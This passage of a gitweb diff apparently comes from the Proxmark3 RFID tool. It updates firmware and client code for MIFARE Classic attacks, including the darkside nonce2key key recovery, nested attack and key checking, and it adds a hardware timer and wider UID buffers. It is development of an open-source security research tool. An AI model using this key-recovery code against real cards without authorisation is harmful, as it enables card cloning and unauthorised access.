        byte_t dataoutbuf[16];\r
-       uint8_t uid[8];\r
+       uint8_t uid[10];\r
        uint32_t cuid;\r
        struct Crypto1State mpcs = {0, 0};\r
        struct Crypto1State *pcs;\r
@@ -109,7 +109,7 @@ void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain)
        // variables\r
        byte_t isOK = 0;\r
        byte_t dataoutbuf[16 * 4];\r
-       uint8_t uid[8];\r
+       uint8_t uid[10];\r
        uint32_t cuid;\r
        struct Crypto1State mpcs = {0, 0};\r
        struct Crypto1State *pcs;\r
@@ -208,7 +208,7 @@ void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain)
        \r
        // variables\r
        byte_t isOK = 0;\r
-       uint8_t uid[8];\r
+       uint8_t uid[10];\r
        uint32_t cuid;\r
        struct Crypto1State mpcs = {0, 0};\r
        struct Crypto1State *pcs;\r
@@ -298,7 +298,7 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain)
        // variables\r
        int rtr, i, j, m, len;\r
        int davg, dmin, dmax;\r
-       uint8_t uid[8];\r
+       uint8_t uid[10];\r
        uint32_t cuid, nt1, nt2, nttmp, nttest, par, ks1;\r
        uint8_t par_array[4];\r
        nestedVector nvector[NES_MAX_INFO + 1][11];\r
@@ -493,7 +493,6 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain)
                        }\r
        \r
                        LED_B_ON();\r
-                       SpinDelay(100);\r
       cmd_send(CMD_ACK,0,ncount,targetBlockNo + (targetKeyType * 0x100),buf,48);\r
 //                     UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand));\r
                        LED_B_OFF();\r
@@ -507,7 +506,6 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain)
 //     memset(ack.d.asBytes, 0x00, sizeof(ack.d.asBytes));\r
        \r
        LED_B_ON();\r
-       SpinDelay(300);\r
 //     UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand));\r
   cmd_send(CMD_ACK,1,0,0,0,0);\r
        LED_B_OFF();\r
@@ -536,7 +534,7 @@ void MifareChkKeys(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain)
        // variables\r
        int i;\r
        byte_t isOK = 0;\r
-       uint8_t uid[8];\r
+       uint8_t uid[10];\r
        uint32_t cuid;\r
        struct Crypto1State mpcs = {0, 0};\r
        struct Crypto1State *pcs;\r
@@ -649,7 +647,7 @@ void MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datai
        // variables\r
        byte_t dataoutbuf[16];\r
        byte_t dataoutbuf2[16];\r
-       uint8_t uid[8];\r
+       uint8_t uid[10];\r
 \r
        // clear trace\r
        iso14a_clear_trace();\r
@@ -761,11 +759,11 @@ void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datai
        \r
        // variables\r
        byte_t isOK = 0;\r
-       uint8_t uid[8];\r
+       uint8_t uid[10];\r
        uint8_t d_block[18];\r
        uint32_t cuid;\r
        \r
-       memset(uid, 0x00, 8);\r
+       memset(uid, 0x00, 10);\r
        uint8_t* receivedAnswer = mifare_get_bigbufptr();\r
        \r
        if (workFlags & 0x08) {\r
index f2298290246b2174101f9175e3df4d58e768dd9f..9bea9e7efbcddc3c5adf29b21a30090afc9cfc7e 100644 (file)
@@ -294,11 +294,11 @@ void StartCountUS()
        
        AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; // timer disable  
        AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_XC1; // from timer 0
-
+       
        AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN;
        AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN;
        AT91C_BASE_TCB->TCB_BCR = 1;
-}
+       }
 
 uint32_t RAMFUNC GetCountUS(){
        return (AT91C_BASE_TC1->TC_CV * 0x8000) + ((AT91C_BASE_TC0->TC_CV / 15) * 10);
@@ -314,3 +314,60 @@ uint32_t RAMFUNC GetDeltaCountUS(){
 }
 
 
+//  -------------------------------------------------------------------------
+//  Mifare timer. Uses ssp_clk from FPGA 
+//  -------------------------------------------------------------------------
+void StartCountMifare()
+{
+       AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1) | (1 << AT91C_ID_TC2);  // Enable Clock to all timers
+       AT91C_BASE_TCB->TCB_BMR = AT91C_TCB_TC0XC0S_TIOA1               // XC0 Clock = TIOA1
+                                                       | AT91C_TCB_TC1XC1S_NONE                // XC1 Clock = none
+                                                       | AT91C_TCB_TC2XC2S_TIOA0;              // XC2 Clock = TIOA0
+
+       // configure TC1 to create a short pulse on TIOA1 when a rising edge on TIOB1 (= ssp_clk from FPGA) occurs:
+       AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS;                               // disable TC1
+       AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK // TC1 Clock = MCK(48MHz)/2 = 24MHz
+                                                       | AT91C_TC_CPCSTOP                              // Stop clock on RC compare
+                                                       | AT91C_TC_EEVTEDG_RISING               // Trigger on rising edge of Event
+                                                       | AT91C_TC_EEVT_TIOB                    // Event-Source: TIOB1 (= ssc_clk from FPGA = 13,56MHz / 16)
+                                                       | AT91C_TC_ENETRG                               // Enable external trigger event
+                                                       | AT91C_TC_WAVESEL_UP                   // Upmode without automatic trigger on RC compare
+                                                       | AT91C_TC_WAVE                                 // Waveform Mode
+                                                       | AT91C_TC_AEEVT_SET                    // Set TIOA1 on external event
+                                                       | AT91C_TC_ACPC_CLEAR;                  // Clear TIOA1 on RC Compare
+       AT91C_BASE_TC1->TC_RC = 0x04;                                                   // RC Compare value = 0x04
+
+       // use TC0 to count TIOA1 pulses
+       AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS;                               // disable TC0  
+       AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_XC0                              // TC0 clock = XC0 clock = TIOA1
+                                                       | AT91C_TC_WAVE                                 // Waveform Mode
+                                                       | AT91C_TC_WAVESEL_UP                   // just count
+                                                       | AT91C_TC_ACPA_CLEAR                   // Clear TIOA0 on RA Compare
+                                                       | AT91C_TC_ACPC_SET;                    // Set TIOA0 on RC Compare
+       AT91C_BASE_TC0->TC_RA = 1;                                                              // RA Compare value = 1; pulse width to TC2
+       AT91C_BASE_TC0->TC_RC = 0;                                                              // RC Compare value = 0; increment TC2 on overflow
+
+       // use TC2 to count TIOA0 pulses (giving us a 32bit counter (TC0/TC2) clocked by ssp_clk)
+       AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKDIS;                               // disable TC2  
+       AT91C_BASE_TC2->TC_CMR = AT91C_TC_CLKS_XC2                              // TC2 clock = XC2 clock = TIOA0
+                                                       | AT91C_TC_WAVE                                 // Waveform Mode
+                                                       | AT91C_TC_WAVESEL_UP;                  // just count
+       
+       
+       AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN;                                // enable TC0
+       AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN;                                // enable TC1
+       AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKEN;                                // enable TC2
+       AT91C_BASE_TCB->TCB_BCR = 1;                                                    // assert Sync (set all timers to 0 on next active clock edge)
+}
+
+
+uint32_t RAMFUNC GetCountMifare(){
+       uint32_t tmp_count;
+       tmp_count = (AT91C_BASE_TC2->TC_CV << 16) | AT91C_BASE_TC0->TC_CV;
+       if ((tmp_count & 0xffff) == 0) { //small chance that we may have missed an increment in TC2
+               return (AT91C_BASE_TC2->TC_CV << 16);
+       } 
+       else {
+               return tmp_count;
+       }
+}
index 135468aeee7e4b3954fa50d9c146221c2ed6e6ac..9c4b4c58e75a81e09661a829695960bb4e53cf46 100644 (file)
@@ -47,4 +47,7 @@ void StartCountUS();
 uint32_t RAMFUNC GetCountUS();
 uint32_t RAMFUNC GetDeltaCountUS();
 
+void StartCountMifare();
+uint32_t RAMFUNC GetCountMifare();
+
 #endif
index c98b25dac543e3ee2ffdb93fe12c8371b4ab1591..96eb800782a3fc1110eca30191d1efc741a06a05 100644 (file)
@@ -15,18 +15,20 @@ static int CmdHelp(const char *Cmd);
 int CmdHF14AMifare(const char *Cmd)\r
 {\r
        uint32_t uid = 0;\r
-       uint32_t nt = 0;\r
+       uint32_t nt = 0, nr = 0;\r
        uint64_t par_list = 0, ks_list = 0, r_key = 0;\r
        uint8_t isOK = 0;\r
        uint8_t keyBlock[8] = {0};\r
 \r
-       if (param_getchar(Cmd, 0) && param_gethex(Cmd, 0, keyBlock, 8)) {\r
-               PrintAndLog("Nt must include 8 HEX symbols");\r
-               return 1;\r
-       }\r
+       UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0}};\r
+\r
+       // message\r
+       printf("-------------------------------------------------------------------------\n");\r
+       printf("Executing command. Expected execution time: 25sec on average  :-)\n");\r
+       printf("Press the key on the proxmark3 device to abort both proxmark3 and client.\n");\r
+       printf("-------------------------------------------------------------------------\n");\r
 \r
        \r
-       UsbCommand c = {CMD_READER_MIFARE, {(uint32_t)bytes_to_num(keyBlock, 4), 0, 0}};\r
 start:\r
     clearCommandBuffer();\r
     SendCommand(&c);\r
@@ -34,15 +36,10 @@ start:
        //flush queue\r
        while (ukbhit())        getchar();\r
 \r
-       // message\r
-       printf("-------------------------------------------------------------------------\n");\r
-       printf("Executing command. It may take up to 30 min.\n");\r
-       printf("Press the key on the proxmark3 device to abort both proxmark3 and client.\n");\r
-       printf("-------------------------------------------------------------------------\n");\r
        \r
        // wait cycle\r
        while (true) {\r
-        //printf(".");\r
+        printf(".");\r
                fflush(stdout);\r
                if (ukbhit()) {\r
                        getchar();\r
@@ -51,27 +48,26 @@ start:
                }\r
                \r
                UsbCommand resp;\r
-               if (WaitForResponseTimeout(CMD_ACK,&resp,2000)) {\r
+               if (WaitForResponseTimeout(CMD_ACK,&resp,1000)) {\r
                        isOK  = resp.arg[0] & 0xff;\r
-       \r
                        uid = (uint32_t)bytes_to_num(resp.d.asBytes +  0, 4);\r
                        nt =  (uint32_t)bytes_to_num(resp.d.asBytes +  4, 4);\r
                        par_list = bytes_to_num(resp.d.asBytes +  8, 8);\r
                        ks_list = bytes_to_num(resp.d.asBytes +  16, 8);\r
-       \r
+                       nr = bytes_to_num(resp.d.asBytes + 24, 4);\r
                        printf("\n\n");\r
-                       PrintAndLog("isOk:%02x", isOK);\r
                        if (!isOK) PrintAndLog("Proxmark can't get statistic info. Execution aborted.\n");\r
                        break;\r
                }\r
        }       \r
+\r
        printf("\n");\r
        \r
        // error\r
        if (isOK != 1) return 1;\r
        \r
        // execute original function from util nonce2key\r
-       if (nonce2key(uid, nt, par_list, ks_list, &r_key))\r
+       if (nonce2key(uid, nt, nr, par_list, ks_list, &r_key))\r
        {\r
                isOK = 2;\r
                PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);    \r
@@ -86,8 +82,9 @@ start:
                PrintAndLog("Found valid key:%012"llx, r_key);\r
        else\r
        {\r
-               if (isOK != 2) PrintAndLog("Found invalid key. ( Nt=%08x ,Trying use it to run again...", nt);  \r
-               c.arg[0] = nt;\r
+               if (isOK != 2) PrintAndLog("Found invalid key. ");      \r
+               PrintAndLog("Failing is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");\r
+               c.arg[0] = false;\r
                goto start;\r
        }\r
        \r
index 7459f1bb59aa44653f2205622bf51f5d71ad6211..d2e50d5ef84f35dd22b507018969b0dfac7b1d0c 100644 (file)
 #include "nonce2key.h"
 #include "ui.h"
 
-int nonce2key(uint32_t uid, uint32_t nt, uint64_t par_info, uint64_t ks_info, uint64_t * key) {
+int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) {
   struct Crypto1State *state, *state_s;
-  uint32_t pos, nr, rr, nr_diff;//, ks1, ks2;
+  uint32_t pos, rr, nr_diff;//, ks1, ks2;
   byte_t bt, i, ks3x[8], par[8][8];
   uint64_t key_recovered;
-  nr = rr = 0;
+  rr = 0;
   
   // Reset the last three significant bits of the reader nonce
   nr &= 0xffffff1f;
index 8ae6050468001a3d8773e2fe30a7381b4ef1e2d0..e7d5f431194f92a4777bc2726c66aad8038ff0b4 100644 (file)
@@ -18,6 +18,6 @@
 #include "crapto1.h"
 #include "common.h"
 
-int nonce2key(uint32_t uid, uint32_t nt, uint64_t par_info, uint64_t ks_info, uint64_t * key); 
+int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key); 
 
 #endif
Impressum, Datenschutz